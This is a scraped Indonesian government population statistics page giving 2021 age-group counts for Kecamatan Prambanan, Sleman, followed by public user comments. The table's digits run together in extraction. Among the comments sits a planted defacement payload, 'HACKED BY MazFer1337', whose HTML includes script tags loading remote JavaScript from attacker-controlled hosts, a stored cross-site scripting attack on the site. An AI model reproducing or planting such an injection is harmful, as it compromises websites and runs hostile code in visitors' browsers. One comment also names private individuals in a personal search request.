Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN PRAMBANAN, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSUMBERHARJOWUKIRHARJOGAYAMHARJOSAMBIREJOMADUREJOBOKOHARJOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun148153 3014038 786351 1148675 161145135 280139106 245621 558 1.179
2 tahun9499 1932615 412334 574454 989179 1709779 176375 360 735
3 tahun10696 2022213 352627 535337 909998 1978995 184395 366 761
4 tahun10194 1952518 433028 583649 858789 1767981 160358 359 717
5 tahun121107 2281813 313826 644039 7911294 20689109 198418 388 806
6 tahun110101 2112129 502633 594041 819986 1858185 166377 375 752
7 tahun114121 2352017 373434 684435 7994105 19980108 188386 420 806
8 tahun130116 2461519 343731 684234 769796 19393102 195414 398 812
9 tahun134115 2492123 442431 554447 91105101 2068083 163408 400 808
10 tahun124120 2441915 344647 935548 10312490 214109100 209477 420 897
11 tahun167134 3011920 393323 564361 10410897 205101107 208471 442 913
12 tahun144119 2632420 443427 614632 78110104 21411485 199472 387 859
13 tahun128115 2432121 422833 614155 96128116 24479108 187425 448 873
14 tahun111124 2351926 454129 704738 85106110 21610494 198428 421 849
15 tahun122111 2331816 343925 644450 94120107 22797107 204440 416 856
16 tahun10487 1912420 442828 564035 7512592 21773112 185394 374 768
17 tahun9593 1882016 362621 473944 8382111 1937481 155336 366 702
18 tahun10299 2011618 344133 744244 8691102 19397108 205389 404 793
19 tahun8897 1851914 332932 614332 75103105 2089191 182373 371 744
20 tahun91102 1931816 343533 683849 87105109 2148693 179373 402 775
21 tahun102127 2291416 303431 654746 93110110 220102112 214409 442 851
22 tahun9594 1892014 344331 744529 7410292 1948198 179386 358 744
23 tahun10088 1881712 292329 522042 629282 1749171 162343 324 667
24 tahun9787 1842114 352536 614841 8910373 1769987 186393 338 731
25 tahun101102 2032318 413334 674736 8311189 2007586 161390 365 755
26 tahun9391 1842422 463734 713743 8082104 1869595 190368 389 757
27 tahun99105 2041916 354726 734034 7494102 19610885 193407 368 775
28 tahun9192 1832720 473736 736054 11411093 2039184 175416 379 795
29 tahun10799 2061614 302937 664746 938292 174109105 214390 393 783
30 tahun93114 2071715 322736 634648 948285 1678685 171351 383 734
31 tahun103117 2202418 423543 785740 978981 1708381 164391 380 771
32 tahun11298 2102224 462637 634347 9010383 1868281 163388 370 758
33 tahun88110 1981415 292622 483439 7366102 1688693 179314 381 695
34 tahun106118 2241226 383140 712752 797893 1717193 164325 422 747
35 tahun107110 2171419 333124 554243 8596107 20310381 184393 384 777
36 tahun99122 2211530 452834 625337 909592 18799104 203389 419 808
37 tahun134124 2581519 342825 534260 1029694 19011883 201433 405 838
38 tahun113118 2312122 433233 653847 85107108 2159190 181402 418 820
39 tahun117145 2622612 383832 705343 96110138 24810992 201453 462 915
40 tahun115112 2272623 493316 494045 85127118 2459694 190437 408 845
41 tahun149112 2612212 343331 645450 104130111 2419597 192483 413 896
42 tahun134135 2692619 453938 775356 109124119 24310198 199477 465 942
43 tahun117106 2232731 584333 765545 100122104 2269395 188457 414 871
44 tahun114113 227168 243041 714433 7798112 21092102 194394 409 803
45 tahun105112 2171513 283241 734347 90131111 2429586 181421 410 831
46 tahun119119 2381720 373326 595533 88102112 2146785 152393 395 788
47 tahun107110 2171620 362837 654143 8494104 1989485 179380 399 779
48 tahun97112 2092411 353229 612437 6197106 20385115 200359 410 769
49 tahun10188 1892022 423234 664442 8611699 2159395 188406 380 786
50 tahun9184 1751313 262317 403828 668281 1638997 186336 320 656
51 tahun113102 2151920 393936 753834 72100109 2097094 164379 395 774
52 tahun93123 2161920 393237 692643 6910998 2077086 156349 407 756
53 tahun98109 2071218 304130 714044 8483112 1959298 190366 411 777
54 tahun9091 1811416 301826 443037 679281 1737696 172320 347 667
55 tahun109100 2091619 352329 523130 617581 1566683 149320 342 662
56 tahun10989 198137 202335 583730 676882 1507489 163324 332 656
57 tahun6683 1491717 341626 423838 767485 1596764 131278 313 591
58 tahun6282 1441630 461525 402728 558496 1806372 135267 333 600
59 tahun7899 177723 301522 373135 664986 1358276 158262 341 603
60 tahun6865 1331612 281826 442224 466352 1157163 134258 242 500
61 tahun8290 1721423 373543 783040 707199 1705480 134286 375 661
62 tahun6364 1271616 322417 412124 457679 1556162 123261 262 523
63 tahun7184 1552119 403940 792647 737367 1405770 127287 327 614
64 tahun5571 1261215 272119 401913 325246 985755 112216 219 435
65 tahun5470 1241410 241519 343238 706471 1354756 103226 264 490
66 tahun6244 1061119 302219 412023 435071 1213842 80203 218 421
67 tahun5351 1041015 251813 312421 455048 984844 92203 192 395
68 tahun3641 77165 212836 642226 485148 994044 84193 200 393
69 tahun4037 77108 181111 22119 204153 944537 82158 155 313
70 tahun3541 76511 162221 431815 333626 622232 54138 146 284
71 tahun4043 831515 301920 391824 424042 822336 59155 180 335
72 tahun3043 73911 2067 13911 201646 621725 4287 143 230
73 tahun4132 7359 143139 70812 204646 922028 48151 166 317
74 tahun2227 4924 647 11810 182433 571325 3873 106 179
75 tahun3233 6559 1464 101316 292333 561818 3697 113 210
76 tahun1939 58511 16723 301117 282426 501133 4477 149 226
77 tahun2328 51511 1639 121410 241116 271114 2567 88 155
78 tahun1931 5043 71518 3396 152236 581310 2382 104 186
79 tahun2325 4849 1369 15412 161422 362016 3671 93 164
80 ke atas114180 2943651 875878 1364285 12797133 23064103 167411 630 1.041
Jumlah7.3407.48414.8241.3761.3812.7572.2792.3334.6122.9032.9875.8906.8406.94613.7866.0416.34012.381 26.779 27.471 54.250
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih